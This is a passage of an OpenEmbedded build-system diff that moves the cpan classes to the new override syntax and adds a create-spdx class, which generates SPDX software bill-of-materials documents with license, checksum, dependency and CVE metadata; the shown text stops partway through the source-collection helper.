FEATURE_PACKAGES_x11-base = "packagegroup-core-x11-base"
FEATURE_PACKAGES_x11-sato = "packagegroup-core-x11-sato"
diff --git a/meta/classes/cpan-base.bbclass b/meta/classes/cpan-base.bbclass
index 867edf8707..93d11e1bee 100644
--- a/meta/classes/cpan-base.bbclass
+++ b/meta/classes/cpan-base.bbclass
@@ -2,10 +2,10 @@
# cpan-base providers various perl related information needed for building
# cpan modules
#
-FILES_${PN} += "${libdir}/perl5 ${datadir}/perl5"
+FILES:${PN} += "${libdir}/perl5 ${datadir}/perl5"
DEPENDS += "${@["perl", "perl-native"][(bb.data.inherits_class('native', d))]}"
-RDEPENDS_${PN} += "${@["perl", ""][(bb.data.inherits_class('native', d))]}"
+RDEPENDS:${PN} += "${@["perl", ""][(bb.data.inherits_class('native', d))]}"
inherit perl-version
@@ -15,4 +15,13 @@ def is_target(d):
return "no"
PERLLIBDIRS = "${libdir}/perl5"
-PERLLIBDIRS_class-native = "${libdir}/perl5"
+PERLLIBDIRS:class-native = "${libdir}/perl5"
+
+def cpan_upstream_check_pattern(d):
+ for x in (d.getVar('SRC_URI') or '').split(' '):
+ if x.startswith("https://cpan.metacpan.org"):
+ _pattern = x.split('/')[-1].replace(d.getVar('PV'), r'(?P<pver>\d+.\d+)')
+ return _pattern
+ return ''
+
+UPSTREAM_CHECK_REGEX ?= "${@cpan_upstream_check_pattern(d)}"
diff --git a/meta/classes/cpan.bbclass b/meta/classes/cpan.bbclass
index e9908ae4b8..18f1b9d575 100644
--- a/meta/classes/cpan.bbclass
+++ b/meta/classes/cpan.bbclass
@@ -41,12 +41,12 @@ cpan_do_configure () {
fi
}
-do_configure_append_class-target() {
+do_configure:append:class-target() {
find . -name Makefile | xargs sed -E -i \
-e 's:LD_RUN_PATH ?= ?"?[^"]*"?::g'
}
-do_configure_append_class-nativesdk() {
+do_configure:append:class-nativesdk() {
find . -name Makefile | xargs sed -E -i \
-e 's:LD_RUN_PATH ?= ?"?[^"]*"?::g'
}
diff --git a/meta/classes/create-spdx.bbclass b/meta/classes/create-spdx.bbclass
new file mode 100644
index 0000000000..1a4804a7c5
--- /dev/null
+++ b/meta/classes/create-spdx.bbclass
@@ -0,0 +1,1022 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+DEPLOY_DIR_SPDX ??= "${DEPLOY_DIR}/spdx/${MACHINE}"
+
+# The product name that the CVE database uses. Defaults to BPN, but may need to
+# be overriden per recipe (for example tiff.bb sets CVE_PRODUCT=libtiff).
+CVE_PRODUCT ??= "${BPN}"
+CVE_VERSION ??= "${PV}"
+
+SPDXDIR ??= "${WORKDIR}/spdx"
+SPDXDEPLOY = "${SPDXDIR}/deploy"
+SPDXWORK = "${SPDXDIR}/work"
+
+SPDX_TOOL_NAME ??= "oe-spdx-creator"
+SPDX_TOOL_VERSION ??= "1.0"
+
+SPDXRUNTIMEDEPLOY = "${SPDXDIR}/runtime-deploy"
+
+SPDX_INCLUDE_SOURCES ??= "0"
+SPDX_INCLUDE_PACKAGED ??= "0"
+SPDX_ARCHIVE_SOURCES ??= "0"
+SPDX_ARCHIVE_PACKAGED ??= "0"
+
+SPDX_UUID_NAMESPACE ??= "sbom.openembedded.org"
+SPDX_NAMESPACE_PREFIX ??= "http://spdx.org/spdxdoc"
+
+SPDX_LICENSES ??= "${COREBASE}/meta/files/spdx-licenses.json"
+
+SPDX_ORG ??= "OpenEmbedded ()"
+SPDX_SUPPLIER ??= "Organization: ${SPDX_ORG}"
+SPDX_SUPPLIER[doc] = "The SPDX PackageSupplier field for SPDX packages created from \
+ this recipe. For SPDX documents create using this class during the build, this \
+ is the contact information for the person or organization who is doing the \
+ build."
+
+do_image_complete[depends] = "virtual/kernel:do_create_spdx"
+
+def extract_licenses(filename):
+ import re
+
+ lic_regex = re.compile(b'^\W*SPDX-License-Identifier:\s*([ \w\d.()+-]+?)(?:\s+\W*)?$', re.MULTILINE)
+
+ try:
+ with open(filename, 'rb') as f:
+ size = min(15000, os.stat(filename).st_size)
+ txt = f.read(size)
+ licenses = re.findall(lic_regex, txt)
+ if licenses:
+ ascii_licenses = [lic.decode('ascii') for lic in licenses]
+ return ascii_licenses
+ except Exception as e:
+ bb.warn(f"Exception reading {filename}: {e}")
+ return None
+
+def get_doc_namespace(d, doc):
+ import uuid
+ namespace_uuid = uuid.uuid5(uuid.NAMESPACE_DNS, d.getVar("SPDX_UUID_NAMESPACE"))
+ return "%s/%s-%s" % (d.getVar("SPDX_NAMESPACE_PREFIX"), doc.name, str(uuid.uuid5(namespace_uuid, doc.name)))
+
+def create_annotation(d, comment):
+ from datetime import datetime, timezone
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+ annotation = oe.spdx.SPDXAnnotation()
+ annotation.annotationDate = creation_time
+ annotation.annotationType = "OTHER"
+ annotation.annotator = "Tool: %s - %s" % (d.getVar("SPDX_TOOL_NAME"), d.getVar("SPDX_TOOL_VERSION"))
+ annotation.comment = comment
+ return annotation
+
+def recipe_spdx_is_native(d, recipe):
+ return any(a.annotationType == "OTHER" and
+ a.annotator == "Tool: %s - %s" % (d.getVar("SPDX_TOOL_NAME"), d.getVar("SPDX_TOOL_VERSION")) and
+ a.comment == "isNative" for a in recipe.annotations)
+
+def is_work_shared_spdx(d):
+ return bb.data.inherits_class('kernel', d) or ('work-shared' in d.getVar('WORKDIR'))
+
+python() {
+ import json
+ if d.getVar("SPDX_LICENSE_DATA"):
+ return
+
+ with open(d.getVar("SPDX_LICENSES"), "r") as f:
+ data = json.load(f)
+ # Transform the license array to a dictionary
+ data["licenses"] = {l["licenseId"]: l for l in data["licenses"]}
+ d.setVar("SPDX_LICENSE_DATA", data)
+}
+
+def convert_license_to_spdx(lic, document, d, existing={}):
+ from pathlib import Path
+ import oe.spdx
+
+ avail_licenses = available_licenses(d)
+ license_data = d.getVar("SPDX_LICENSE_DATA")
+ extracted = {}
+
+ def add_extracted_license(ident, name):
+ nonlocal document
+
+ if name in extracted:
+ return
+
+ extracted_info = oe.spdx.SPDXExtractedLicensingInfo()
+ extracted_info.name = name
+ extracted_info.licenseId = ident
+ extracted_info.extractedText = None
+
+ if name == "PD":
+ # Special-case this.
+ extracted_info.extractedText = "Software released to the public domain"
+ elif name in avail_licenses:
+ # This license can be found in COMMON_LICENSE_DIR or LICENSE_PATH
+ for directory in [d.getVar('COMMON_LICENSE_DIR')] + (d.getVar('LICENSE_PATH') or '').split():
+ try:
+ with (Path(directory) / name).open(errors="replace") as f:
+ extracted_info.extractedText = f.read()
+ break
+ except FileNotFoundError:
+ pass
+ if extracted_info.extractedText is None:
+ # Error out, as the license was in avail_licenses so should
+ # be on disk somewhere.
+ bb.error("Cannot find text for license %s" % name)
+ else:
+ # If it's not SPDX, or PD, or in avail_licenses, then NO_GENERIC_LICENSE must be set
+ filename = d.getVarFlag('NO_GENERIC_LICENSE', name)
+ if filename:
+ filename = d.expand("${S}/" + filename)
+ with open(filename, errors="replace") as f:
+ extracted_info.extractedText = f.read()
+ else:
+ bb.error("Cannot find any text for license %s" % name)
+
+ extracted[name] = extracted_info
+ document.hasExtractedLicensingInfos.append(extracted_info)
+
+ def convert(l):
+ if l == "(" or l == ")":
+ return l
+
+ if l == "&":
+ return "AND"
+
+ if l == "|":
+ return "OR"
+
+ if l == "CLOSED":
+ return "NONE"
+
+ spdx_license = d.getVarFlag("SPDXLICENSEMAP", l) or l
+ if spdx_license in license_data["licenses"]:
+ return spdx_license
+
+ try:
+ spdx_license = existing[l]
+ except KeyError:
+ spdx_license = "LicenseRef-" + l
+ add_extracted_license(spdx_license, l)
+
+ return spdx_license
+
+ lic_split = lic.replace("(", " ( ").replace(")", " ) ").split()
+
+ return ' '.join(convert(l) for l in lic_split)
+
+def process_sources(d):
+ pn = d.getVar('PN')
+ assume_provided = (d.getVar("ASSUME_PROVIDED") or "").split()
+ if pn in assume_provided:
+ for p in d.getVar("PROVIDES").split():
+ if p != pn:
+ pn = p
+ break
+
+ # glibc-locale: do_fetch, do_unpack and do_patch tasks have been deleted,
+ # so avoid archiving source here.
+ if pn.startswith('glibc-locale'):
+ return False
+ if d.getVar('PN') == "libtool-cross":
+ return False
+ if d.getVar('PN') == "libgcc-initial":
+ return False
+ if d.getVar('PN') == "shadow-sysroot":
+ return False
+
+ # We just archive gcc-source for all the gcc related recipes
+ if d.getVar('BPN') in ['gcc', 'libgcc']:
+ bb.debug(1, 'spdx: There is bug in scan of %s is, do nothing' % pn)
+ return False
+
+ return True
+
+
+def add_package_files(d, doc, spdx_pkg, topdir, get_spdxid, get_types, *, archive=None, ignore_dirs=[], ignore_top_level_dirs=[]):
+ from pathlib import Path
+ import oe.spdx
+ import hashlib
+
+ source_date_epoch = d.getVar("SOURCE_DATE_EPOCH")
+ if source_date_epoch:
+ source_date_epoch = int(source_date_epoch)
+
+ sha1s = []
+ spdx_files = []
+
+ file_counter = 1
+ for subdir, dirs, files in os.walk(topdir):
+ dirs[:] = [d for d in dirs if d not in ignore_dirs]
+ if subdir == str(topdir):
+ dirs[:] = [d for d in dirs if d not in ignore_top_level_dirs]
+
+ for file in files:
+ filepath = Path(subdir) / file
+ filename = str(filepath.relative_to(topdir))
+
+ if filepath.is_file() and not filepath.is_symlink():
+ spdx_file = oe.spdx.SPDXFile()
+ spdx_file.SPDXID = get_spdxid(file_counter)
+ for t in get_types(filepath):
+ spdx_file.fileTypes.append(t)
+ spdx_file.fileName = filename
+
+ if archive is not None:
+ with filepath.open("rb") as f:
+ info = archive.gettarinfo(fileobj=f)
+ info.name = filename
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ if source_date_epoch is not None and info.mtime > source_date_epoch:
+ info.mtime = source_date_epoch
+
+ archive.addfile(info, f)
+
+ sha1 = bb.utils.sha1_file(filepath)
+ sha1s.append(sha1)
+ spdx_file.checksums.append(oe.spdx.SPDXChecksum(
+ algorithm="SHA1",
+ checksumValue=sha1,
+ ))
+ spdx_file.checksums.append(oe.spdx.SPDXChecksum(
+ algorithm="SHA256",
+ checksumValue=bb.utils.sha256_file(filepath),
+ ))
+
+ if "SOURCE" in spdx_file.fileTypes:
+ extracted_lics = extract_licenses(filepath)
+ if extracted_lics:
+ spdx_file.licenseInfoInFiles = extracted_lics
+
+ doc.files.append(spdx_file)
+ doc.add_relationship(spdx_pkg, "CONTAINS", spdx_file)
+ spdx_pkg.hasFiles.append(spdx_file.SPDXID)
+
+ spdx_files.append(spdx_file)
+
+ file_counter += 1
+
+ sha1s.sort()
+ verifier = hashlib.sha1()
+ for v in sha1s:
+ verifier.update(v.encode("utf-8"))
+ spdx_pkg.packageVerificationCode.packageVerificationCodeValue = verifier.hexdigest()
+
+ return spdx_files
+
+
+def add_package_sources_from_debug(d, package_doc, spdx_package, package, package_files, sources):
+ from pathlib import Path
+ import hashlib
+ import oe.packagedata
+ import oe.spdx
+
+ debug_search_paths = [
+ Path(d.getVar('PKGD')),
+ Path(d.getVar('STAGING_DIR_TARGET')),
+ Path(d.getVar('STAGING_DIR_NATIVE')),
+ Path(d.getVar('STAGING_KERNEL_DIR')),
+ ]
+
+ pkg_data = oe.packagedata.read_subpkgdata_extended(package, d)
+
+ if pkg_data is None:
+ return
+
+ for file_path, file_data in pkg_data["files_info"].items():
+ if not "debugsrc" in file_data:
+ continue
+
+ for pkg_file in package_files:
+ if file_path.lstrip("/") == pkg_file.fileName.lstrip("/"):
+ break
+ else:
+ bb.fatal("No package file found for %s" % str(file_path))
+ continue
+
+ for debugsrc in file_data["debugsrc"]:
+ ref_id = "NOASSERTION"
+ for search in debug_search_paths:
+ if debugsrc.startswith("/usr/src/kernel"):
+ debugsrc_path = search / debugsrc.replace('/usr/src/kernel/', '')
+ else:
+ debugsrc_path = search / debugsrc.lstrip("/")
+ if not debugsrc_path.exists():
+ continue
+
+ file_sha256 = bb.utils.sha256_file(debugsrc_path)
+
+ if file_sha256 in sources:
+ source_file = sources[file_sha256]
+
+ doc_ref = package_doc.find_external_document_ref(source_file.doc.documentNamespace)
+ if doc_ref is None:
+ doc_ref = oe.spdx.SPDXExternalDocumentRef()
+ doc_ref.externalDocumentId = "DocumentRef-dependency-" + source_file.doc.name
+ doc_ref.spdxDocument = source_file.doc.documentNamespace
+ doc_ref.checksum.algorithm = "SHA1"
+ doc_ref.checksum.checksumValue = source_file.doc_sha1
+ package_doc.externalDocumentRefs.append(doc_ref)
+
+ ref_id = "%s:%s" % (doc_ref.externalDocumentId, source_file.file.SPDXID)
+ else:
+ bb.debug(1, "Debug source %s with SHA256 %s not found in any dependency" % (str(debugsrc_path), file_sha256))
+ break
+ else:
+ bb.debug(1, "Debug source %s not found" % debugsrc)
+
+ package_doc.add_relationship(pkg_file, "GENERATED_FROM", ref_id, comment=debugsrc)
+
+def collect_dep_recipes(d, doc, spdx_recipe):
+ from pathlib import Path
+ import oe.sbom
+ import oe.spdx
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+
+ dep_recipes = []
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ deps = sorted(set(
+ dep[0] for dep in taskdepdata.values() if
+ dep[1] == "do_create_spdx" and dep[0] != d.getVar("PN")
+ ))
+ for dep_pn in deps:
+ dep_recipe_path = deploy_dir_spdx / "recipes" / ("recipe-%s.spdx.json" % dep_pn)
+
+ spdx_dep_doc, spdx_dep_sha1 = oe.sbom.read_doc(dep_recipe_path)
+
+ for pkg in spdx_dep_doc.packages:
+ if pkg.name == dep_pn:
+ spdx_dep_recipe = pkg
+ break
+ else:
+ continue
+
+ dep_recipes.append(oe.sbom.DepRecipe(spdx_dep_doc, spdx_dep_sha1, spdx_dep_recipe))
+
+ dep_recipe_ref = oe.spdx.SPDXExternalDocumentRef()
+ dep_recipe_ref.externalDocumentId = "DocumentRef-dependency-" + spdx_dep_doc.name
+ dep_recipe_ref.spdxDocument = spdx_dep_doc.documentNamespace
+ dep_recipe_ref.checksum.algorithm = "SHA1"
+ dep_recipe_ref.checksum.checksumValue = spdx_dep_sha1
+
+ doc.externalDocumentRefs.append(dep_recipe_ref)
+
+ doc.add_relationship(
+ "%s:%s" % (dep_recipe_ref.externalDocumentId, spdx_dep_recipe.SPDXID),
+ "BUILD_DEPENDENCY_OF",
+ spdx_recipe
+ )
+
+ return dep_recipes
+
+collect_dep_recipes[vardepsexclude] += "BB_TASKDEPDATA"
+
+
+def collect_dep_sources(d, dep_recipes):
+ import oe.sbom
+
+ sources = {}
+ for dep in dep_recipes:
+ # Don't collect sources from native recipes as they
+ # match non-native sources also.
+ if recipe_spdx_is_native(d, dep.recipe):
+ continue
+ recipe_files = set(dep.recipe.hasFiles)
+
+ for spdx_file in dep.doc.files:
+ if spdx_file.SPDXID not in recipe_files:
+ continue
+
+ if "SOURCE" in spdx_file.fileTypes:
+ for checksum in spdx_file.checksums:
+ if checksum.algorithm == "SHA256":
+ sources[checksum.checksumValue] = oe.sbom.DepSource(dep.doc, dep.doc_sha1, dep.recipe, spdx_file)
+ break
+
+ return sources
+
+
+python do_create_spdx() {
+ from datetime import datetime, timezone
+ import oe.sbom
+ import oe.spdx
+ import uuid
+ from pathlib import Path
+ from contextlib import contextmanager
+ import oe.cve_check
+
+ @contextmanager
+ def optional_tarfile(name, guard, mode="w"):
+ import tarfile
+ import bb.compress.zstd
+
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+
+ if guard:
+ name.parent.mkdir(parents=True, exist_ok=True)
+ with bb.compress.zstd.open(name, mode=mode + "b", num_threads=num_threads) as f:
+ with tarfile.open(fileobj=f, mode=mode + "|") as tf:
+ yield tf
+ else:
+ yield None
+
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ spdx_workdir = Path(d.getVar("SPDXWORK"))
+ include_packaged = d.getVar("SPDX_INCLUDE_PACKAGED") == "1"
+ include_sources = d.getVar("SPDX_INCLUDE_SOURCES") == "1"
+ archive_sources = d.getVar("SPDX_ARCHIVE_SOURCES") == "1"
+ archive_packaged = d.getVar("SPDX_ARCHIVE_PACKAGED") == "1"
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+ doc = oe.spdx.SPDXDocument()
+
+ doc.name = "recipe-" + d.getVar("PN")
+ doc.documentNamespace = get_doc_namespace(d, doc)
+ doc.creationInfo.created = creation_time
+ doc.creationInfo.comment = "This document was created by analyzing recipe files during the build."
+ doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ doc.creationInfo.creators.append("Person: N/A ()")
+
+ recipe = oe.spdx.SPDXPackage()
+ recipe.name = d.getVar("PN")
+ recipe.versionInfo = d.getVar("PV")
+ recipe.SPDXID = oe.sbom.get_recipe_spdxid(d)
+ recipe.packageSupplier = d.getVar("SPDX_SUPPLIER")
+ if bb.data.inherits_class("native", d) or bb.data.inherits_class("cross", d):
+ recipe.annotations.append(create_annotation(d, "isNative"))
+
+ for s in d.getVar('SRC_URI').split():
+ if not s.startswith("file://"):
+ recipe.downloadLocation = s
+ break
+ else:
+ recipe.downloadLocation = "NOASSERTION"
+
+ homepage = d.getVar("HOMEPAGE")
+ if homepage:
+ recipe.homepage = homepage
+
+ license = d.getVar("LICENSE")
+ if license:
+ recipe.licenseDeclared = convert_license_to_spdx(license, doc, d)
+
+ summary = d.getVar("SUMMARY")
+ if summary:
+ recipe.summary = summary
+
+ description = d.getVar("DESCRIPTION")
+ if description:
+ recipe.description = description
+
+ # Some CVEs may be patched during the build process without incrementing the version number,
+ # so querying for CVEs based on the CPE id can lead to false positives. To account for this,
+ # save the CVEs fixed by patches to source information field in the SPDX.
+ patched_cves = oe.cve_check.get_patched_cves(d)
+ patched_cves = list(patched_cves)
+ patched_cves = ' '.join(patched_cves)
+ if patched_cves:
+ recipe.sourceInfo = "CVEs fixed: " + patched_cves
+
+ cpe_ids = oe.cve_check.get_cpe_ids(d.getVar("CVE_PRODUCT"), d.getVar("CVE_VERSION"))
+ if cpe_ids:
+ for cpe_id in cpe_ids:
+ cpe = oe.spdx.SPDXExternalReference()
+ cpe.referenceCategory = "SECURITY"
+ cpe.referenceType = "http://spdx.org/rdf/references/cpe23Type"
+ cpe.referenceLocator = cpe_id
+ recipe.externalRefs.append(cpe)
+
+ doc.packages.append(recipe)
+ doc.add_relationship(doc, "DESCRIBES", recipe)
+
+ if process_sources(d) and include_sources:
+ recipe_archive = deploy_dir_spdx / "recipes" / (doc.name + ".tar.zst")
+ with optional_tarfile(recipe_archive, archive_sources) as archive:
+ spdx_get_src(d)
+
+ add_package_files(
+ d,
+ doc,
+ recipe,
+ spdx_workdir,
+ lambda file_counter: "SPDXRef-SourceFile-%s-%d" % (d.getVar("PN"), file_counter),
+ lambda filepath: ["SOURCE"],
+ ignore_dirs=[".git"],
+ ignore_top_level_dirs=["temp"],
+ archive=archive,
+ )
+
+ if archive is not None:
+ recipe.packageFileName = str(recipe_archive.name)
+
+ dep_recipes = collect_dep_recipes(d, doc, recipe)
+
+ doc_sha1 = oe.sbom.write_doc(d, doc, "recipes")
+ dep_recipes.append(oe.sbom.DepRecipe(doc, doc_sha1, recipe))
+
+ recipe_ref = oe.spdx.SPDXExternalDocumentRef()
+ recipe_ref.externalDocumentId = "DocumentRef-recipe-" + recipe.name
+ recipe_ref.spdxDocument = doc.documentNamespace
+ recipe_ref.checksum.algorithm = "SHA1"
+ recipe_ref.checksum.checksumValue = doc_sha1
+
+ sources = collect_dep_sources(d, dep_recipes)
+ found_licenses = {license.name:recipe_ref.externalDocumentId + ":" + license.licenseId for license in doc.hasExtractedLicensingInfos}
+
+ if not recipe_spdx_is_native(d, recipe):
+ bb.build.exec_func("read_subpackage_metadata", d)
+
+ pkgdest = Path(d.getVar("PKGDEST"))
+ for package in d.getVar("PACKAGES").split():
+ if not oe.packagedata.packaged(package, d):
+ continue
+
+ package_doc = oe.spdx.SPDXDocument()
+ pkg_name = d.getVar("PKG:%s" % package) or package
+ package_doc.name = pkg_name
+ package_doc.documentNamespace = get_doc_namespace(d, package_doc)
+ package_doc.creationInfo.created = creation_time
+ package_doc.creationInfo.comment = "This document was created by analyzing packages created during the build."
+ package_doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ package_doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ package_doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ package_doc.creationInfo.creators.append("Person: N/A ()")
+ package_doc.externalDocumentRefs.append(recipe_ref)
+
+ package_license = d.getVar("LICENSE:%s" % package) or d.getVar("LICENSE")
+
+ spdx_package = oe.spdx.SPDXPackage()
+
+ spdx_package.SPDXID = oe.sbom.get_package_spdxid(pkg_name)
+ spdx_package.name = pkg_name
+ spdx_package.versionInfo = d.getVar("PV")
+ spdx_package.licenseDeclared = convert_license_to_spdx(package_license, package_doc, d, found_licenses)
+ spdx_package.packageSupplier = d.getVar("SPDX_SUPPLIER")
+
+ package_doc.packages.append(spdx_package)
+
+ package_doc.add_relationship(spdx_package, "GENERATED_FROM", "%s:%s" % (recipe_ref.externalDocumentId, recipe.SPDXID))
+ package_doc.add_relationship(package_doc, "DESCRIBES", spdx_package)
+
+ package_archive = deploy_dir_spdx / "packages" / (package_doc.name + ".tar.zst")
+ with optional_tarfile(package_archive, archive_packaged) as archive:
+ package_files = add_package_files(
+ d,
+ package_doc,
+ spdx_package,
+ pkgdest / package,
+ lambda file_counter: oe.sbom.get_packaged_file_spdxid(pkg_name, file_counter),
+ lambda filepath: ["BINARY"],
+ archive=archive,
+ )
+
+ if archive is not None:
+ spdx_package.packageFileName = str(package_archive.name)
+
+ add_package_sources_from_debug(d, package_doc, spdx_package, package, package_files, sources)
+
+ oe.sbom.write_doc(d, package_doc, "packages")
+}
+# NOTE: depending on do_unpack is a hack that is necessary to get it's dependencies for archive the source
+addtask do_create_spdx after do_package do_packagedata do_unpack before do_populate_sdk do_build do_rm_work
+
+SSTATETASKS += "do_create_spdx"
+do_create_spdx[sstate-inputdirs] = "${SPDXDEPLOY}"
+do_create_spdx[sstate-outputdirs] = "${DEPLOY_DIR_SPDX}"
+
+python do_create_spdx_setscene () {
+ sstate_setscene(d)
+}
+addtask do_create_spdx_setscene
+
+do_create_spdx[dirs] = "${SPDXWORK}"
+do_create_spdx[cleandirs] = "${SPDXDEPLOY} ${SPDXWORK}"
+do_create_spdx[depends] += "${PATCHDEPENDENCY}"
+do_create_spdx[deptask] = "do_create_spdx"
+
+def collect_package_providers(d):
+ from pathlib import Path
+ import oe.sbom
+ import oe.spdx
+ import json
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+
+ providers = {}
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ deps = sorted(set(
+ dep[0] for dep in taskdepdata.values() if dep[0] != d.getVar("PN")
+ ))
+ deps.append(d.getVar("PN"))
+
+ for dep_pn in deps:
+ recipe_data = oe.packagedata.read_pkgdata(dep_pn, d)
+
+ for pkg in recipe_data.get("PACKAGES", "").split():
+
+ pkg_data = oe.packagedata.read_subpkgdata_dict(pkg, d)
+ rprovides = set(n for n, _ in bb.utils.explode_dep_versions2(pkg_data.get("RPROVIDES", "")).items())
+ rprovides.add(pkg)
+
+ for r in rprovides:
+ providers[r] = pkg
+
+ return providers
+
+collect_package_providers[vardepsexclude] += "BB_TASKDEPDATA"
+
+python do_create_runtime_spdx() {
+ from datetime import datetime, timezone
+ import oe.sbom
+ import oe.spdx
+ import oe.packagedata
+ from pathlib import Path
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ spdx_deploy = Path(d.getVar("SPDXRUNTIMEDEPLOY"))
+ is_native = bb.data.inherits_class("native", d) or bb.data.inherits_class("cross", d)
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+ providers = collect_package_providers(d)
+
+ if not is_native:
+ bb.build.exec_func("read_subpackage_metadata", d)
+
+ dep_package_cache = {}
+
+ pkgdest = Path(d.getVar("PKGDEST"))
+ for package in d.getVar("PACKAGES").split():
+ localdata = bb.data.createCopy(d)
+ pkg_name = d.getVar("PKG:%s" % package) or package
+ localdata.setVar("PKG", pkg_name)
+ localdata.setVar('OVERRIDES', d.getVar("OVERRIDES", False) + ":" + package)
+
+ if not oe.packagedata.packaged(package, localdata):
+ continue
+
+ pkg_spdx_path = deploy_dir_spdx / "packages" / (pkg_name + ".spdx.json")
+
+ package_doc, package_doc_sha1 = oe.sbom.read_doc(pkg_spdx_path)
+
+ for p in package_doc.packages:
+ if p.name == pkg_name:
+ spdx_package = p
+ break
+ else:
+ bb.fatal("Package '%s' not found in %s" % (pkg_name, pkg_spdx_path))
+
+ runtime_doc = oe.spdx.SPDXDocument()
+ runtime_doc.name = "runtime-" + pkg_name
+ runtime_doc.documentNamespace = get_doc_namespace(localdata, runtime_doc)
+ runtime_doc.creationInfo.created = creation_time
+ runtime_doc.creationInfo.comment = "This document was created by analyzing package runtime dependencies."
+ runtime_doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ runtime_doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ runtime_doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ runtime_doc.creationInfo.creators.append("Person: N/A ()")
+
+ package_ref = oe.spdx.SPDXExternalDocumentRef()
+ package_ref.externalDocumentId = "DocumentRef-package-" + package
+ package_ref.spdxDocument = package_doc.documentNamespace
+ package_ref.checksum.algorithm = "SHA1"
+ package_ref.checksum.checksumValue = package_doc_sha1
+
+ runtime_doc.externalDocumentRefs.append(package_ref)
+
+ runtime_doc.add_relationship(
+ runtime_doc.SPDXID,
+ "AMENDS",
+ "%s:%s" % (package_ref.externalDocumentId, package_doc.SPDXID)
+ )
+
+ deps = bb.utils.explode_dep_versions2(localdata.getVar("RDEPENDS") or "")
+ seen_deps = set()
+ for dep, _ in deps.items():
+ if dep in seen_deps:
+ continue
+
+ if dep not in providers:
+ continue
+
+ dep = providers[dep]
+
+ if not oe.packagedata.packaged(dep, localdata):
+ continue
+
+ dep_pkg_data = oe.packagedata.read_subpkgdata_dict(dep, d)
+ dep_pkg = dep_pkg_data["PKG"]
+
+ if dep in dep_package_cache:
+ (dep_spdx_package, dep_package_ref) = dep_package_cache[dep]
+ else:
+ dep_path = deploy_dir_spdx / "packages" / ("%s.spdx.json" % dep_pkg)
+
+ spdx_dep_doc, spdx_dep_sha1 = oe.sbom.read_doc(dep_path)
+
+ for pkg in spdx_dep_doc.packages:
+ if pkg.name == dep_pkg:
+ dep_spdx_package = pkg
+ break
+ else:
+ bb.fatal("Package '%s' not found in %s" % (dep_pkg, dep_path))
+
+ dep_package_ref = oe.spdx.SPDXExternalDocumentRef()
+ dep_package_ref.externalDocumentId = "DocumentRef-runtime-dependency-" + spdx_dep_doc.name
+ dep_package_ref.spdxDocument = spdx_dep_doc.documentNamespace
+ dep_package_ref.checksum.algorithm = "SHA1"
+ dep_package_ref.checksum.checksumValue = spdx_dep_sha1
+
+ dep_package_cache[dep] = (dep_spdx_package, dep_package_ref)
+
+ runtime_doc.externalDocumentRefs.append(dep_package_ref)
+
+ runtime_doc.add_relationship(
+ "%s:%s" % (dep_package_ref.externalDocumentId, dep_spdx_package.SPDXID),
+ "RUNTIME_DEPENDENCY_OF",
+ "%s:%s" % (package_ref.externalDocumentId, spdx_package.SPDXID)
+ )
+ seen_deps.add(dep)
+
+ oe.sbom.write_doc(d, runtime_doc, "runtime", spdx_deploy)
+}
+
+addtask do_create_runtime_spdx after do_create_spdx before do_build do_rm_work
+SSTATETASKS += "do_create_runtime_spdx"
+do_create_runtime_spdx[sstate-inputdirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[sstate-outputdirs] = "${DEPLOY_DIR_SPDX}"
+
+python do_create_runtime_spdx_setscene () {
+ sstate_setscene(d)
+}
+addtask do_create_runtime_spdx_setscene
+
+do_create_runtime_spdx[dirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[cleandirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[rdeptask] = "do_create_spdx"
+
+def spdx_get_src(d):
+ """
+ save patched source of the recipe in SPDX_WORKDIR.
+ """
+ import shutil
+ spdx_workdir = d.getVar('SPDXWORK')
+ spdx_sysroot_native = d.getVar('STAGING_DIR_NATIVE')
+ pn = d.getVar('PN')
+
+ workdir = d.getVar("WORKDIR")
+
+ try:
+ # The kernel class functions require it to be on work-shared, so we dont change WORKDIR
+ if not is_work_shared_spdx(d):
+ # Change the WORKDIR to make do_unpack do_patch run in another dir.
+ d.setVar('WORKDIR', spdx_workdir)
+ # Restore the original path to recipe's native sysroot (it's relative to WORKDIR).
+ d.setVar('STAGING_DIR_NATIVE', spdx_sysroot_native)
+
+ # The changed 'WORKDIR' also caused 'B' changed, create dir 'B' for the
+ # possibly requiring of the following tasks (such as some recipes's
+ # do_patch required 'B' existed).
+ bb.utils.mkdirhier(d.getVar('B'))
+
+ bb.build.exec_func('do_unpack', d)
+ # Copy source of kernel to spdx_workdir
+ if is_work_shared_spdx(d):
+ d.setVar('WORKDIR', spdx_workdir)
+ d.setVar('STAGING_DIR_NATIVE', spdx_sysroot_native)
+ src_dir = spdx_workdir + "/" + d.getVar('PN')+ "-" + d.getVar('PV') + "-" + d.getVar('PR')
